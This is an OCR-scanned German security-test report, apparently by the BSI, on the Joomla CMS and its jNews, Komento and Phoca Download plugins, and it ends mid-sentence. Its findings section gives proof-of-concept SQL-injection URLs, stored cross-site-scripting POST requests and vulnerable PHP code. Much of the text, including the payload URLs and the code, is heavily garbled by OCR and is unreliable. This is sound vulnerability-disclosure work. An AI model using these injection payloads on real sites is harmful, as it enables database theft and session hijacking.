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1 Zusammenfassung Sicherheitstest des Content-Management-Systems Joomta!

Kapitel | Beschreibung Modul Risikofaktor
6.14.1 Unzureichende Berechtigungspriifung in Joornla Core Mittel
| Artikelbearbeitung o
6.143 Unzureichende Berechtigungspriifung in Plugin jNews Mittel
jNews
6.144 Unzureichende Berechtigungspriifung in Plugin Komento Mittel
Komento in der Email-Subscribe-Funktion -
6.16.1 |User Enumeration in der Anmeldemaske durch Joomla Core Mittel
Side Channel Attacke
6.142 iUnzureichende Berechtigungspriifung im Created |Joomla Core Leicht
by Attribut in Artikelerstellung
6.14.5 Unzureichende Berechtigungspriifung in Plugin | Komento Leicht
| Komento in der Email-Unsubscribe-Funktion
6.146 Unzureichende Berechtigungspriifung in Plugin | Komento Leicht
Komento in Administrationsprozessen
6.15 Willkiirlicher Dateiupload in Phoca Download Phoca Download | Leicht
6162 User Enumeration in ,Passwort vergessen?*-und  |Jaomla Core Leicht
»Benutzername vergessen?“-Funktionen
6.17 Information Disclosure durch Joomla-Plugins Koménto, jNews, | Leicht
) Phoca Download
6.18 Fehlendes HTTP-Secure-Flag im Joomla-Frontend |Joomla Core . | Leicht

1.2.2 Bewertung des Sicherheitsniveaus
Ausgehend von den identifizierten Sicherheitsrisiken kann dem CMS Joomlal ein mittleres
Sicherheitsniveau attestiert werden.

Im Rahmen des Sicherheitstests wurden mehrere Schwachstellen gefunden, die von einem Angreifer mit
wenig Aufwand ausgenutzt werden kénnen, um die Vertraulichkeit, Verfiigbarkeit oder Integritiit der
Anwendung oder deren Daten zu1 beeintrichtigen. Dariiber hinaus wurden Schwachstellen ermittelt, die fiir
die Informationsgewinnung und Planung von weiteren Angriffen hilfreich sein kénnen.

Die Folgenden identifizierten Schwachstellen sind aufgrund ihrer Kritikalitit besonders hervorzuheben:
»  Zahlreiche Cross-Site-Scripting-Schwachstellen
*  Unzureichende Berechtigungsprifungen

1.3  Prifpunkte
Die in den folgenden Kapiteln dargestellten Priifpunkte und Sicherheitsaspekte wurden im Rahmen des
Sicherheitstests tiberpriift. Eine detaillierte Beschreibung findet sich in [1]

¢ Informationsbeschaffung

*  Testdes Identitétsmanagemenrs

¢ Test der Authentifizierung

*  Test der Autorisierung

¢ Test des Session Managements

Bundesamt filr Sicherheit in der Informationstechnik
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¢ Testder Eingabevalidierung
= Testder Fehlerverarbeitung
*  Test clientseitiger Angriffsvektoren
*  Test CMS-spezifischer Angriffsvektdren
*  Uberprifung der Hirtung von
*  Betriebssystem
*  Webserver
* Application Server
*  Datenbank
¢ Laufzeitumgebung
¢ Content-Management-System

14 Vorgehenim Test

Das Vorgehensmodell baut auf dem Durchﬁihrungskonzept’ fir Penetrationstests des Bundesamtes fiir
Sicherheit in der Informationstechnik auf und gliedert sich in 5 einzelne Phasen [2]:

1) Vorbereitung

2) Infohnaﬁonsbeschaffung

3) Bewerfung der Informationen
4) Aktive Eindringversuche

5) Abschlussanalyse

Der genaue Ablauf des Tests wird erst wihrend der Durchfiihrung auf Grundlage der gewonnenen
Erkenntnisse bestimmt. Der modulare Aufbai: dient der Konzentration der verfiigbaren Ressourcen auf die
unter Sicherheitsgesichtspunkten wichtigsten_ Bereiche.

Die detaillierten Rahmenbedingungen des Tests und die zugrundeliegende Testumgebung sind in {1]
beschrieben. ‘

Nachfolgend werden die Ergebnisse der einzelnen Phasen beschrieben.

Bundesamt fOr Sicherheit in der Infermationstechnik



2 Phase 1: Varbereitung - Sicherheitstest des Content-Management-Systems Joomla!

2 Phase 1: Vorbereitung

Ziel der Vorbereitungsphase ist es, den Umfang, die Rahmenbedingungen und das grobe Vorgehen des
Sicherheitstests festzulegen. i i

2.1  Informationsbasis

Zigl: Festlegung, welche Informationen und Dokumente zum Testobjekt zur Verfiigung stehen (Black-Box-
oder White-Box-Test), - ) .

Ergebnis:

Der Test erfolgte grundsitzlich als Black-Box-Test. Da das CMS und die zugrundeliegenden

Systemkomponenten als Open Source zur Verfiigung stehen, wurdén dem Angreifer jedoch entsprechende
Vorkenntnisse der verwendeten Komponenten und deren Standardinstallationen zugestanden.

Es wurde die Sicht eines externen Angreifers ohne Detailwissen iiber die Architektur eingenommen. Ein
potentieller Angreifer kann jedoch die bereitgestellten Dokumente und ggf. den Source Code detailliert
untersuchen, um potentielle Schwachstellen aufzudecken. ’

Im Rahmen des Tests wurden insbesondere die in Tabelle 1 aufgefiihrten Dokumente herangezogen.

|_ Dokumentenbezeichnung Dateiname/URL Version / Stand
| Security Checklist/de https://docs joomla.org/Security | 12. November 2015
Tabelle 1: Dokumente

2.2 Aggressivitat

Ziel: Festlegung der Aggressivitit und ob ausgehend von gefundenen Sicherheitsliicken nach weiteren
Liicken gesucht werden soll. ’

Ergebnis:

Aufgrund der Durchfiihrung des Tests in einer isolierten Testumgebung wurde ein aggressives
Testvorgehen gewihlt. Das heiflt, es wurde versucht, alle potentiellen Schwachstellen auszunutzen.

2.3 Umfang und Testtiefe
Ziel: Definition des Umfangs, welcher beim Test einbezogen werden soll
Ergebnis:

Es wurde ein vollstindiger Test durchgefiihrt. Alle Komponenten der Testumgebung wurden einer.
intensiven Priiffung unterzogen.

24 Vorgehensweise und Sichtbarkeit

Ziel; Festlegung, wie ,sichtbar” beim Test vorgegangen wird.

Da keine Sicherheitssysteme oder -prozesse Testziel waren, wurden im Rahmen des Tests offensichtliche
Testmethoden angewendet. .

10 Bundesamt fiir Sicherheit in der Infarmationstechnik
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25 Technik

Phase 1: Vorbareitung 2

Ziel; Festlegung, welche Techniken eingesetzt werden sollen.

Ergebnis:

I Rahmen des Sicherheitstests wurden Angriffe iiber das Netzwerk durchgefithrt. Diese Vorgehensweise
simuliert einen typischen Hackerangriff. .

2.6 Ausgangépunkt

Zie]. Festlegung, ob fiir den Test die Innen- oder Auflenperspektive oder beide eingenommen werden.

Ergebnis:

*Hinsichtlich des Ausgangspunktes wurden beide Perspektiven eingenommen. Die Angriffe erfolgten von

auflen gegen das CMS und die gehirtete Testumgebung. Da zudem die Administrations-und -
Konfigurationsoberflichen des CMS genutzt und resultierende Wechselwirkungen mit der Umgebung
untersucht werden konnten, warde dartiber hinaus auch eine Innenperspektive eingenommen.

2.7  Testsystem

Ziel; Festlegen, ob ein Testsystem oder Produktivsystem verwendet wird.

Ergebnis:

Die Tests wurden in einer dedizierten Testumgebung {je Szenario) durchgefiihrt, Details zur Testumgebung
sind in [1] dokumentiert. '

2.8  Testdaten

Ziel; Bestimmung der Testdaten, die benétigt werden.

Ergebnis:

Zur Realisierung der in [1] dargestellten Einsatzszenarien mussten diverse Plugins installiert und Testdaten
generiert werden. Informationen zu den genutzten Plugins sind in [1] dokumentiert.

2.9  Testendekriterien
Ziel: Festlegung von Kriterien, nach denen der Test beendet werden kann.
Ergebnis;

Der Test wurde nach Uhtersuchung und Verifizierung aller in Kapitel 1.3 genannten Priifpunkte beendet.
2.10 Betrachtung rechtlicher Fragen

Ziel; Rechtliche Uberlegungen und Festlégung der Haftung fiir mogliche Schiaden.
Ergebpis: .
Da es sich lediglich um ein Testsystem mit Testdaten handelte, waren rechtliche Aspekte nicht relevant. Im

Rahmen des Sicherheitstests identifizierte Schwachstellen wurden vertraulich an den Hersteller gemeldet
und nicht publiziert. :

Bundesamt fOr Sicherheit in der Informationstechnik 1



2 Phase 1: Vorbereitung

Sicherheitstest des Content-Management-Sistems Joomlal

211 Planung der Testdurchfiihrung

Ziel: Erstellung eines Plans zur Testdurchfﬁhrurig.

Die Planung wurde im Rahmen des Testmanagements vorgenommen. Folgende Informationen kénnen
zusammengefasst dargestellt werden:

Phase

Datum

Durchfiihrung des Sicherheitstests

25.01.2016 bis 12.02.2016

Fertigstellung des Testberichts

01.03.2016

Tabelle 2: Testplan

212 Werkzeugeinsatz

Folgende Werkzeuge zur Unterstiitzung des Testprozesses wurden im Projekt eingesetzt:
Werkzeug _ Hersteller Einsatzgebiet Nutzerkreis
LibreOffice Writer The Document Testdokumentation Projektteam-
Foundation
Jira. Atlassian Ticketsystem ] Projektteam
Burp Suite Professional Poftswigger Intercepting Proxy- Testteam
Firefox Mozilla Foundation Browser Testteam
Checkmarx Suite Checkmarx Code-Analyse Testteam
nmap Gordon Lyon Port-Scan Testteam
sslscan Ian Ventura-Whiting, SSL-Analyse Testteam
Jacob Appelbaum, rbsec
sslyze - iSECPartners SSL-Analyse Testteam
Nessus Tenable Schwachstellen-Scanner |Testteam
auf Netzwerkebene
Weblnspect HP Schwachstellen-Scanner | Testteamn
auf Applikationsebene
Eclipse Eclipse Foundation Untersuchung des Codes | Testteam
Nikto CIRT Schwachstellen-Scanner | Testteam
auf Applikationsebene
ChromePhp Craig Campbell Debug-Ausgaben in PHP | Testtearn
PuTTY Simon Tatham, Qwen $8H-Verbindung zum Testteamn
Dunn, Ben Harris, Jacob | Server
Nevins
tcpdump Van Jacobson, Craig Netzwerk-Analyse auf Testteam
Leres, Steven McCanne  |dem Server
Wireshark Gerald Combs Grafische Auswertung Testteam
der tcpdump-Ergebnisse |
'sqlmap Bernardo Damele Detektion und | Testteam

12
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Werkzeug ' Hersteller Einsatzgebiet Nutzerkreis
Assumpcao Guimaraes, | Ausnutzung von SQL-
Miroslav Stampar Injections
joomscan Aung Khant, OWASP.org |Sicherheitsanalysevon | Testteam

Joomla-Installationen

Bundesamt fUr Sicherheit in der Informationstechnik
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3 Phase 2: Informationsbeschaffung Sicherheitstest des Content-Management-Syitems Joomla!

3 - Phase 2: Informationsbeschaffung

Innerhalb der Phase der Informationsbeschaffung werden Informationen tiber das Ziel gesammelt und
ausgewertet. Weiterhin wird nach Informationen gesucht, die das System (iber sich preisgibt.

3.1  Auswahl der Testmodule

M Sicherstellung der Dur¢hfithrung aller relevanten Tests (inter Bertlicksichtigung der wirtschaftlichen
Machbarkeit). )

Ergebnis:

Im Rahmen der Voriberlegungen wurden die in Kapitel 1.3 genannten Priifpunkte identifiziert. Durch die

Verifizierung dieser Punkte wurde sichergestellt, dass alle relevanten Komponenten des Gesamtsystems
_(CMS, Betriebssystem, Webserver, Applikationsserver, Datenbank) hinreicheljld getestet wurden.

3.2 Priifung der Testmodule.

Ziel: Sicherstellen, dass der Test dem aktuellen Stand der Technik entspricht

E nis:

Die in Kapitel 1.3 genannten Priifpunkte wurden anhand der aktuellen Dokumentation bzw. aktueller
Richtlinien zur Durchfithrung von Sicherheitsanalysen abgeleitet (vgl. [1]).

Bundesamt fiir Sicherheit in der Informationstechnik
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Phase 3: Bewertung der Informationen 4

4 Phase 3: Bewerfung der Informationen

Um das weitere Vorgehen zu planen, werden die bisher gesammelten Informationen bewertet und das
Risiko abgeschiitzt. Bereiche des Testobjekts, von denen ein besonders grofies Risiko ausgeht, sollen

‘besonders griindlich untersucht werden, wihrend andere Bereiche weniger oder gar nicht untersucht

werden. Ziel dieser Phase ist die Identifikation kritischer Bereiche der Anwendung und davon abgeleitet die
Auswahl der durchzufiihrenden Testfille.

4.1  Kritische Bereiche und erreichbare Ziele

Ziel: Herausfinden, wo Angreifer ansetzen und was sie erreichen kénnten.
Ergebnis:
Im Rahmen der Beschreibung der Einsatzszenarien in [1] wurden typische Missbrauchsszenarien

spezifiziert. Diese dienten als Grundlage fiir die Durchfihrung der Sicherheitstests und die Definition der
besonders kritischen und intensiv zu testenden Bereiche.

Hierzu zahlen insbesondere die Moglichkeiten zur Authentifizierung und der Interaktion.
4.2 - Zugriffspfade

Ziel: Herausfinden, in welchen Schritten Angreifer vorgehen kénnten.
Fiir die in [1] dargestellten Einsatzszenarien ergibt sich der typischen Zugriffsweg eines Angreifers von

auflen (im Allgemeinen {iber das Internet). Dementsprechend wurde im Rahmen des Sicherheitstests
insbesondere dieser Weg untersucht und typische Angriffsszenarien von aulen untersucht,

Aufgrund des in Kapitel 2.1 dargestellten Testansatzes wurden dariiber hinaus interne Mechanismen
geprift. Dies entspricht dem Vorgehen eines Angreifer, der ggf. schon teilweisen Zugriff erhalten hat und
versucht, weitere Komponenten zu kompromittieren.

4.3  Beschreibung der Priifpunkte

Ziel; Planung der Testschwerpunkte und Durchfithrung.
Die in [1] definierten Priifpunkte wurden im Rahmen des Sicherheitstests geprift.

Anhand der definierten Vorgehensweise wurden die relevanten Testfille an der Anwendung abgearbeitet
und erwartete Bedrohungsszenarien inszeniert, Die Testschritte wurden in ihrer Durchfiithrung mit ihren
Ergebnissen, erweitert durch Screenshots, dokumentiert Das gesammelte Material bildete die Basis fiir
detailliertere Testschritte und abschliefende Berichte.

Bundesamt fir Sicherheit in der Informationstechnik 15



5 Phase 4: Aktive Eindringversuche

5  Phase 4: Aktive Eindringversuche

Die zuvor ausgewshlten Testmodule bzw. die daraus abgeleiteten Testfille werden in dieser Phase
ausgefiihrt, und es wird aktiv versucht, in das System einzudringen. Bei der Reihenfolge der Ausfithrung der
Testmodule ist neben der zuvor festgelegten Prioritit zu beachten, dass die Testergebnisse bestimmter
Testmodule eine Voraussetzung oder gute Ausgangsposition fiir weitere Testmodule sein kénnen, Wahrend

des Tests wird ein Pfad abgeschritten, in dem ein Modul die Voraussetzung fiir ein folgendes Modul schafft.

Wahrend des Tests kénnen aufgrund der Erkenntnisse weitere Testmodule ausgefiihrt werden.

16
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— Phase 5: Abschlussanalise 6

6  Phase 5: Abschlussanalyse

In diesem Kapitel werden die identifizierten Sicherheitslticken (gruppiert nach Systemkomponente) und die
resultierenden Risiken beschrieben.

6.1 Content Management System

6.1.1 Zusammenfassung

Die Abschlussanalyse zeigt auf, dass insbesondere die Plugins von Joomla von charakteristischen
Schwachstellen der OWASP Top 10 wie SQL-Injection, Cross-Site-Scripting oder unzureichender
Berechtigungspriifung betroffen sind. Der Joomla-Core hingegen weist vereinzelt unkritische
Schwachstel]en auf, wozu allerdings Schwachstellen in der Berechtigungspriifung ziihlen. :

Zudem iiberzeugt der Joomla-Core mit interessanten Sicherheitsfeatures, welche vor Injection-
(JRequest : : getvar()), Cross-Site Request Forgery (7session: : checkToken {) ) und Berechtigungsattacken
(sFactory::getUser () ->authorise (}) schiitzen und den ,Secure Coding Guidelines” der Joomla-
Dokumentation [3] entmommen werden - kénnén. Zusammenfassend weist Joomla vorhandene
Sicherheitsfeatures auf, welche allerdings allgemeine Sicherheitskenntnisse der Entwickler voraussetzen
und von den Entwicklern angewendet werden miissen.

6.1.2 SQL-Injection

Beschreibung:

Die ,Structured Query Language” (SQL) ist eine Abfragesprache fiir relationale Datenbanken. Dabei werden
vorgegebene Teile mit den Benutzereingaben zu einer kompletten Abfrage kombiniert. Werden die vom
Benutzer gelieferten Eingaben nicht ausreichend gepriift bzw. vorverarbeitet, kann ein Angreifer beliebige
SQL-Befehle in die Abfrage einschleusen. Dieser Angriff wird als SQL-Injection bezeichnet.

Maftnahme;

SQL-Injections sollte mittels sicherer Zugriffsverfahren wie Prepared-Statements unterbunden werden. Ist
ein solches Verfahren nicht verfiigbar, miissen die Daten in Abhingigkeit von der jeweils verwendeten
Interpreter-Sprache bereinigt werden. In dem Fall missen alle Metazeichen, die in der jeweiligen
Interpreter-Sprache als Zeichenkettenbegrenzer (String-Delimiter) oder zur syntaktischen Formatierung
des Codes verwendet werden {"*; {}$ % # | usw.), aus der Eingabe entfernt oder escaped werden,

6.1.2.1  SQL-Injection in der Archivesuche von jNews
Betroffenes Modul: jNews
Ergebnis:

Das Joomla-Plugin jNews ist in seiner Archivesuche angreifbar hinsichtlich SQL-Injection. Wurden im
Newsletter-Plugin bereits Nachrichten versendet, wird ein Archiv angelegt, welches die versendeten
Nachrichten tabellarisch anzeigt und ohne Authentifizierung erreichbar ist. Sortiert bzw. durchsucht man
das Archive, werden verschiedene Parameter gesendet, wobei die Parameter filter_order und
filter_order_Dir anfillig gegen (time- & error-based) SQL-Injection sind.

Einem Angreifer ist es somit potentiell méglich, die gesamte Datenbank des Systerns auszulesen.

Bundesamt fiir Sicherheit in der Informationstechnik 17



6 Phase 5: Abschlussanalyse Sicherheitstest des Content-Management-Systems Joomla!

Proof of Concept - Parameter ﬁlter_orderTDir:

https://deb-joomla=scenariod.cms2, local/newsletter/mailing/archive/listype-1/1istid-17
Itemid=173&1istid=l&act=mailing&limit=20&emai1search=Pen&limit=20&act=mailing&listid=1&l
istype=1&filter_order=send_date&filtor_ordnrd."_‘l =R 0ANDAN 200 2RSRLECTN 20N AANZOFEIOM
’kz0&2SSEECT%ZBSLEEP%ZBS%ZQ%Z9%29'1‘n8g%29&uption=com_j news&task=
O0Dsboxchecked=06113e01a9615aa13db45d6403aee91816=1

Proof of Concept - Parameter filter_order:

Itemid=173slistid=lsact-mailingslimit=20semailsearch=

”sOd&limit=20&act=ma11ing&listid=1&listype=1& filter order=(SELEOTY20°AZ0FROM
%20 (SELECT (SLEEP {5) } ) zuRa) &filter_order Dir=ascéoption=com jnewsstask=-undefinedsboxcheck |
ed=0sf13e01a9615aa13db45d6403aep91816=1

https://deb~joomla~scenaricd.cms2. local/newsletter/mailing/undefined/listy‘pe-l/listid-ﬂ

Risikofaktor: Schwer

6.1.22  SQL-Injection in der Kommentarsuche im Komento Backend
Betroffenes Modul: Komento

Ergebnis:

Als angemeldeter Administrator ist es moglich, unter ,Components” -+ ,Komento® > ,Comments” nach
Kommentaren von Benutzern zu suchen. Hierbei werden u.a. die Parameter search, filter_order und
filter_order_Dir iibergeben, welche alle angreifbar hinsichtlich SQL-Injection sind. Zusatzlich wird die
vollstindige SQL-Error-Message im Titel iibertragen, wodurch das Ausnutzen der SQL-Injection stark
vereinfacht wird (siche Abbildung 1).

Einem Angreifer ist es somit potentiell méglich, die gesamte Datenbank des Systems auszulesen.

Proof of Concept - Parameter search:

https://deb-joomla~scenariod.cms2. local/administrator/index.php?
option=com_komentosview=commentssfilter publish=+ sfilter component=*&masrchelis 82008
|I201-1;‘20--i20—
| f&limit=206limitstart=0s15d1b683c219£74 61160eb62éb0dd5da=1&affectchi1d=0&boxchecked=0&op

|tion=com komento&view=commentssparentid=Ostask= &c=comment&filter_order=createdsfilter_or
|der Dir=DESC

Proof of Concept - Parameter filter_order:

https://deb~joomla-scenariod.cms2.local/administrator/index .php?
option=com_komento&view=comments&fi1ter_pub1ish=*&filter_component=*&search=123&limit=20
&limltstart=0&15d1b683c219f7461160eb629b0dd5da:1&affectchi1d=0&boxchecked=0&cptionscom_k
omento&view=comments&parentid=0&task=sc=commentsts ] tar_ordar=created

%27&filter_order Dir=pESC

Proof of Cohcept - Parameter filter_order_Dir:

https://deb-joomla-scenariod.cms2. local/administrator/index -php?
opt10n=com‘k'omento&view=comments&filtex_publish=*&filter_component==*&search=123slimit=20
18
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&limitstart=0s15d1b683c210E74 6115'0eb6‘2eb0dd5da=1&afrectcmld=b&boxchecked=0&opt1’on=ccm_k

omento&view=comments&parentid=0&taskn&c=comment&filter_orderzcreated&filt-r_cz—dnr_bir—l)!
BCR2TN206F 2082 TN 1= 2 TINS T ~= VRO

Screenshot:

An error has occurred,

e
Abbildung 1: SQL-Error-Message in Webview.
Risikofaktor: Mittel

6.123  Potentielle SQL-Injection in der Suche von Newslettern im Backend

Betroffenes Modul: jNews

Ergebnis: -

Das Joomla-Plugin jNews ist im Administrations-Backend unter ~Components® > ,jNews* > ,Newsletter”

(zeige alle Newsletter an) méglicherweise durch SQL-Injection angreifbar. Werden die Newsletter sortiert,

kdnnen die beiden Parameter filter_order Dir und filter_order iibergeben, welche lediglich durch den
reguliren Ausdruck: j

[Sresuit = (string) preg_replace('/["A—ZD—-B_\.—}/i', "', $source);: |

und

Sresult « (string) ;xxeg_replace('/[“A—Z_j/i', '', $source);

gefiltert werden. Der folgende Proof of Concept erzeugt somit eine SQL-Error-Message, welche
Riickschliisse auf eine SQL-Injection andeutet. Die Schwachstelle wird als Mittel bewertet, da die
Wahrscheinlichkeit der méglichen Ausnutzung niedrig ausfillt, Allerdings lasst sich nicht ausschliefRen,
dass sich der Filter nicht umgehen lasst,

Proof of Concept - Parameter filter_order & filter_order_Dir:

https://deb~joomla-scenariod.cms2. local/administrator/index.php?
option=com_jnewssact=mailing&listype=1glistid=1337&¢:1 ter order=l337A27e32A200R
V0I=]  N20=RT0-L5 L] tar ordar Dir=I33TR2732282000%201=1 ;320201

Risikofaktor: Mittel
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6.1.24  Potentielle SQL-Injection in der Suche von Dateien im Download-Bereich
Betroffenes Modul: Phioca Download

Ergebnis:

Das Joomla-Plugin Phoca Download ist im Frontend méglicherweise durch SQL-Injection angreifbar.

Werden als nicht authentifizierter Benuizer die Datefen in der Ansicht phocadownloadlinkfile

sortiert, tibergibt die Anwendung via HTTP GET die beiden Parameter filter_order_Dir und filter_order,
welche lediglich durch den reguliren Ausdruck:

|$resu1t = (string) preg replace('/["A-20-9 \.-1/i', '', $source); ]
und
|$resu1t = (string) preg replace('/["A-2_]/i', '', $source): J

gefiltert werden. Der folgende Proof of Concept erzeugt somit eine SQL-Error-Message, welche
Ruckschliisse auf eine SQL-Injection andeutet (siehe Abbildung 2). Die Schwachstelle wird als Mittel
bewertet, da die Wahrscheinlichkeit. der Ausnutzung niedrig ausfillt. Allerdings lisst sich nicht
ausschliefen, dass sich der Filter nicht umgehen lisst. Der angreifbare Quellcode konnte in déer Funktion

_buildContentOrderBy () der Klasse com_phocadownload/models/phocadownloadlinkfile. php ermittelt
-werden.

Proof of Concept — Parameter filter_order & filter_order_Dir:

https://deb-joomla-scenariod.cms2.local/index . php?
option=com_ phocadownloadsvi ew=phocadownloadlinkfile&tmpl=component&e_name=1337 &type=3&se

arch=&catid=0&limit=15&limitstart=0&control ler=phocadownloadlinkfilestype=3stask=sboxche
cked=0efilter order=UNIONsfilter order Dir=SELECTie_name=1337

Vulnerable Code - com_phpcadownload/models/phocadownloadlinkﬂle.php

function buildContentOrderBy() {

$app = JFactory::getApplication();

$filter order = $app->getUserStateFromRequest ( $this->_context.'.filter order',
'filter_order', ‘'a.ordering','tmd' ),

$filter order Dir = $app->getUserStateFromRequest( $ihis-
>_context.'.filter order Dir’, 'filter order Dir', oy
'word' );

’

($f1lter_order == 'a.ordering'){

Sorderby = ' ORDER BY categorytitle, a.ordering '.$filter order Dir;
} else {
$orderby = ' ORDER BY '.$filter order ' ‘.$filter ordar Dir, ',

categorytitle, a.ordering ';

return $orderby;
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Screenshot:
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Abbildung 2: SQL-Error-Message in der Filtersuche des Download-Bereichs.

Risikofaktor: Mittel
6.1.3 Cross-Site-Scripting

Beschreibung:

Mit Cross-Site-Scripting (XSS) wird das Einschleusen von bésartigen HTML- und JavaScript-Code in eine
Webseite bezeichnet. Ein derartiger Angriff ist méglich, wenn eine Webanwendung nicht
vertravenswiirdige Daten entgegennimmt und ohne ausreichende Validierung bzw. Codierung an einen
Webbrowser sendet. XSS erlaubt es einem Angreifer somit, JavaScript-Code im Browser eines Opfers
auszufithren, um z. B. Sessions zu (ibernehmen, Seiteninhalte zu verindern oder den Benutzer auf eine
bdsartige Seite umzuleiten. HTML-Codierung ist der grundsitzliche Schutzmechanismus gegen diese
Angriffe. Viele Frameworks bzw. Sprachen stellen hierfiir entsprechende Funktionen zur Verfiigung.

Beim persistenten Cross-Site-Scripting schleust ein Angreifer JavaScript-Code in Eingabefelder, welche von
einer Datenbank gespeichert und zu einem spiteren Zeitpunkt von der Webanwendung wieder ausgelesen
werden (Beispiele dafiir sind Kommentarfunktionen oder Benutzernamen). Der gefihrliche Code wird
somit persistent in der Datenbank hinterlegt und bei jedem Benutzer, der die Seite aufruft, ausgefithrt. Ein
Angreifer hitte somit die MGglichkeit, grofflichig Benutzerdaten abzugreifen. ’

Mafinahme:
Mindestens folgende HTML-Metazeichen miissen in normale Klartextzeichen umpgewandelt werden:

LI 1 > : &amp;
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s " > &quot;
s ! > &#39;
s < > &lt;

¢ > > &gt;

Sollten Daten imJavaScript-Kontext ausgegeben werden, sind folgende Faktoren zu beachten:
* Sicherstellen, dass alle JavaScript-Variablen in Hochkommata setzt sind,
¢ JavaScript Hex Encoding,
¢ JavaScript Unicode Encoding und
¢ Vermeiden von Backslash Encoding (\” oder \' oder \\

6.1.31  Cross-Site-Scripting in Gastkommentar im Social-Media-Link
Betroffenes Modul: Komento
Ergebnis:

Das Joomla-Plugin Komento ist im Frontend durch Cross-Site-Scripting  angreifbar. Fiigt ein
unauthentifizierter Benutzer den Schadcode :

I" anmoussoverscontirm[1357) alt=" _I

in einen Kommentar eines Blog- oder Artikeleintrags ein, wird der JavaScript-Code im Social-Media-Button
fiir Facebook und Twitter unmaskiert reflektiert. Ein Angreifer ist somit in der Lage, Schadcode in die
Kommentare eines Artikels einzufiigen (siehe Abbildung 3)

Proof of Concept:

POST /?option=com_komento HTTP/1.1 = A il
Host: deb-joomla-scenariod.cms2.local

{TRUNCATED]

Connection: close

tmpl=componenté format=ajax&no_html=1g component=com_content&cid=1g : : " - ‘_!_2_‘\_ =y
¥3Deonfirm (1337) +alt43D422 cparent_id=O&name~B:C3%84Meemail-pentest 1337.40mms—
dresden.deswebsite=http? 3a<2F

“2Fomgwtfquak.deslatitude=c longitude=taddress= &contentLink=https*3A52F*2Fdeb-joomla—
scenariod. cms2.local

‘iZF&pageItemId=101&option=com_komento&namespace=site'. views. komento.addcomment&8657781e13
0894ecedScdfa79ba5fe08=1

Resultierender Quellcode:

<span closg="kmt—share-docinl "> =
i
<a loaded="1" clasa="soclalButton mhare=facebook" “confirm(1337) "
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al., w=nn “Facebook</a> -
<a loaded="1* clasm=Mao=ialBbrton share
:ﬂ_;_'..“"'">‘1‘yitter¢{ﬂ_

Screenshot:
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]
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Abbildung 3: Cross-Site Scripting in Gastkommentar im Social-Media-Link.
Risikofaktor: Schwer

6.1.3.2  Cross-Site-Scripting in Gastkommentar im ol-Element

Betroffenes Modul: Komento

Ergebnis:

Das Joomla-Plugin Komento istim Frontend durch Cross-Site-Scripting angreifbar. Fiigt ein

unauthentifizierter Benutzer den Code
[list=" Comais. T (dnctemn e

[/lise] = M T — .
in ein Kommentarfeld eines Blog- oder Artikeleintrags ein, wird der Code in einem Listeneintrag <o1> nur
ungentgend validiert und erméglicht das Ausbrechen aus dem HTML-Kontext mit einem einfachen ",
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Der JavaScript-Code wird direkt als Kornmentar unmaskiert reflektiert. Ein Angreifer ist somit in der Lage,
Schadcode in die Kommentare eines Artikels einzufiigen (siehe Abbildung 4 und Abbildung 5).

Proof of Concept:

POST /2option=com komento HTTB/1.1
Host: deb-joomla-scenariod.cms2.local

[TRUNCATED}

Connection: close I

tmpl=component &format=ajaxsno_html=lgtcomponent=com_content &cid=lacommantest han |
$22+onmouseover$3iDconfirm (1337) +alt43D¥22%5D40ALIL st+onmouseoversOALSBE 2] i st !
#5Dsparent_id=0&depth=0&name=1338 semail=pentest_ 1337 40mms-

dresden.de &website=&latitude=&1onqitude=&addres's=&contentLink=https$3A%2 Fs_z Fd;h—j oomla~

scenariod.cms2.local |

lZF&pageItemId=101&option=com_komento&namcspace=site.views. komento . addcomment £99498873d1

53b5d93a5512e7c60e667b=1 I

Screenshots:
4 Lorem Tosuoy LA
Q@ ¢ @ = o -« eism * e RN A A - M

) Desktviern B Cookies> 7 CSE- (. Pormdare ol Blder= @ mformationen || Soreligesr ' Kower . Grolle sndem o4 Werkreuge R Qualbextanzeigen: 1M

7
[ Diess Sadan duran e, wekara Diskoge 2u Bftnen

PN € 7 B pessie ML= (S5 Skipt DON metwerkt Cookler FlowTrace Forms  Andergen  Refevence .

@ Bebeten ' o - dw.comme. dmetext  dwlomt-body © dwrcontent’: dwkmt-wrag ¢ AkmtA..ublshed - pllmedL..st-che Styles v Ber
= tar eiasamm g peaic s

o = <L> <fL> body 14 ol, Bod:

< <div alass=*comeantTars Ul
r-texs® deempropatcexs®s U™ e

Abbildung 4: Cross-Site-Scripting im K rfeld des ol-El,
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Abbildung 5: Ci'oss—Site-Sipting im Backend des ol-Elements.
Risikofaktor: Schwer

6.13.3  Cross-Site-Scripting im Download-Manager

Betroffenes Modul: Phoca Download

Ergebnis:

Das Joomla-Plugin Phoca Download ist im Backend durch Cross-Site-Scripting angreifbar. Im Backend

kann der Administrator unter dem Meniipunkt ,Components” > ,Phoca Download® > WLiles” = new >

»Select Filename* neue Dateien ablegen, wobei beim Aufruf des Formulars die folgenden Parameter anfallig
gegentiiber Cross-Site-Scripting sind:

* tab
.*  manager
s field

Ein Angreifer ist durch dieses Verhalten in der Lage, einem Administrator bdsartigen JavaScript-Code
unterzuschieben und dessen aktuelle Sitzungsdaten zu entwenden.

Proof of Concept ~ Parameter tab:

htt-f_sﬂf@cﬁ—jimlﬂ-a—s cenario ‘Emsgilocai/aﬂiiiust rator/index.php? |
option=com_phocadownload&view=phocadownloadmanagers L
‘I.Timlgwujﬁ &tmpl=component émanager

29, EabY20V27ahow
Filesfield=jform_filenamesfolder= ﬂ

Proof of Concept - Parameter manager:

e — E =

“https://deb-joomla-scenariod.cms2. local/administrator/index.php? |
option=com_phocadownloads i§w=p}§&?a_g_9@lgup{nap_aqer&t\_F=_n‘p_l_oa§&tmpl-comp_onent&lln‘mml
| 84228200 AmBUsecVr==an Ll em A1 A3T K294 20 =i2istield=jform_filenamesfolder= |
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Proof of Concept — Parameter field:

https://deb-joomla-scenariod.cms2.local/administrator/index. php?
option= com_phocadownload&view=phocadownloadmanager&tab=upload&tmp1=component &manager=fil
eafialde] fom_filen:.ma%22%200mnouuemr=con£im%281337%29%20alt-%22&folder=

Scteenshot:
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Abbildung 6: CrpsS-Site-Scripting im Parameter tob des Download-

Managers.
Risikofaktor: Schwer '

6.1.34 - Cross-Site-Scripting im Download-Bereich
Betroffenes Modul: Phoca Download

Ergebnis:

Das Joomla-Plugin Phoca Download ist im Download-Bereich des Frontends durch Cross-Site-Scripting
* angreifbar. Wihlt der Benutzer die Ansicht »phocadownloadlinkfile* des Download-Plugins, kénnen Dateien

